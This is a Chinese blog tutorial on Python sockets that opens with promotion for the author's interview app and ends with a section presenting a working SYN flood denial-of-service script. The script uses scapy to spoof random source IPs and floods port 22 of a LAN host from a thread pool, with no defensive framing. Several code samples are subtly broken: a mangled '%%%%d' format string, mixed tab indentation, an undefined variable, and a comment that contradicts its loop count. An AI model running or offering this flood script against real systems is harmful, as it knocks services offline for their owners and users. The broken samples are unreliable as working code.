WHCSRL 技术网

Python套接字编程、TCP协议实现的SYN泛洪攻击

前言

这几年一直在it行业里摸爬滚打,一路走来,不少总结了一些python行业里的高频面试,看到大部分初入行的新鲜血液,还在为各样的面试题答案或收录有各种困难问题

于是乎,我自己开发了一款面试宝典,希望能帮到大家,也希望有更多的Python新人真正加入从事到这个行业里,让python火不只是停留在广告上。

微信小程序搜索:Python面试宝典

或可关注原创个人博客:https://lienze.tech

也可关注微信公众号,不定时发送各类有趣猎奇的技术文章:Python编程学习

什么是套接字

一台主机想要和其他主机进行网络通信,那么IP和端口将是必不可少的两个属性。

TCP、UDP作为我们通信时使用的手段,还需要我们提前维护对应的IP及端口(PORT)属性,那么一个具备IP及PORT属性的对象在程序中,被称为套接字。

服务器会一直打开一个端口等待连接,而客户端向服务端发起连接时,操作系统也会帮助我们选择一个可用端口,作为数据的发送端。

套接字就像手机里的SIM卡一样,没有它就完全没办法通信。

Python中提供了访问操作系统底层Socket接口的全部方法,Socket即是套接字,我们可以在程序中通过socket模块进行底层网络编程

套接字的类型主要有两种,面向连接的套接字(TCP/IP),无连接的套接字(UDP/IP)。

创建套接字

在通信之前需要建立一条连接,这种通信方式也被称为“流套接字”。面向连接的通信方式提供了顺序的,可靠的,不会重复的数据传输,这种连接的主要实现方式就是传输控制协议(TCP)

  • TCP套接字创建
import socket

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  • 1
  • 2
  • 3
  • UDP套接字创建
import socket

server = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  • 1
  • 2
  • 3

TCP/IP模型

服务端模型

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('ip','port'))
s.listen(5)
while 1:
    c,c_addr = s.accept()
    while 1:
        _ = c.recv().decode()
        c.send(unicode)
    c.close()
s.close()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • s = socket(AF_INET,SOCK_STEAM):创建服务端套接字;对应套接字属性为IPV4协议及TCP流式传输协议。

  • s.bind( (’’,8080) ):以元组为参数,接收IP地址及端口,为套接字设置对应属性,此时端口应选择大于1024的;IP为当前主机可以用任意IP地址,如127.0.0.1(本地回环)、192.168.1.101(局域网IP)、47.104.224.67(公网IP);或者可以直接传递一个空字符串''代表绑定所有可用IP地址。

  • s.listen(5):服务端套接字开启TCP监听,其中的参数值代表可以有的最大连接等待数。

  • s.accept():被动阻塞等待客户端连接,如果有客户端进行连接,那么将返回两个值;第一个为连接到的客户端套接字,第二个返回值为客户端地址。

  • data = c.recv(1024):服务端接收客户端TCP数据。

  • c.send(msg):服务端向客户端发送TCP数据。

  • c.close():服务器断开与当前套接字的通信,关闭并释放套接字资源。

  • s.close():当服务端结束工作时,用来关闭套接字,并释放资源

当有一个具体的客户端连接到我们的服务器之后,我们将额外开启一个内嵌while循环进行具体的通信业务处理。可以在一些指定条件下,通过break等方式跳出与该客户端的业务循环,继续等待或处理下一个TCP客户端连接


客户端模型

import socket

c = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
c.connect( ('47.104.224.67',8080) )
while True:
    data = c.recv(1024)
    c.send(msg)
c.close()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • c = socket(AF_INET,SOCK_STEAM):创建客户端套接字,与连接服务端套接字要保持一致
  • c.connect( (‘47.104.224.67’,8080) ):通过服务端绑定监听的IP地址及对应开放的端口进行远程连接。
  • c.recv(1024):客户端接收服务器发回的TCP数据
  • c.send():客户端向服务器发送TCP数据
  • c.close():关闭套接字

TCP协议实现的SYN泛洪攻击

SYN泛洪攻击需要通过Python中的一个scapy三方模块进行tcp三次握手数据包的构建,只需要构建SYN标志位的TCP握手数据包,向目标主机发送握手数据包,通过占用目标服务器TCP连接资源及CPU资源而达到攻击的目的

from scapy.all import *
import random
from multiprocessing.pool import ThreadPool
def func():
    for var in range(10): #单个函数发送1000次SYN包
        ip_num_1 = random.randint(1,255)
        ip_num_2 = random.randint(1,255)
        ip_num_3 = random.randint(1,255)
        ip_num_4 = random.randint(1,255) #四位随机IP段
        sport = random.randint(1024,65535) #来源随机端口
        src_ip = "%%%%d.%%%%d.%%%%d.%%%%d"%%%%(ip_num_1,ip_num_2,ip_num_3,ip_num_4)
        pkt = IP(dst="192.168.0.104",src=src_ip) / TCP(dport=22,sport=sport,flags="S")
		#构建好的TCP握手数据包
        print('send:',src_ip)
        send(pkt) #发送到目标主机
def main():
    tp = ThreadPool(4)
        #线程池数量
    for var in range(4):
        #执行函数数量
        tp.apply_async(func=func)
    tp.close()
	tp.join()
if __name__ == '__main__':
    main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 可以在目标主机通过命令查看tcp链接情况
netstat -ant
  • 1
推荐阅读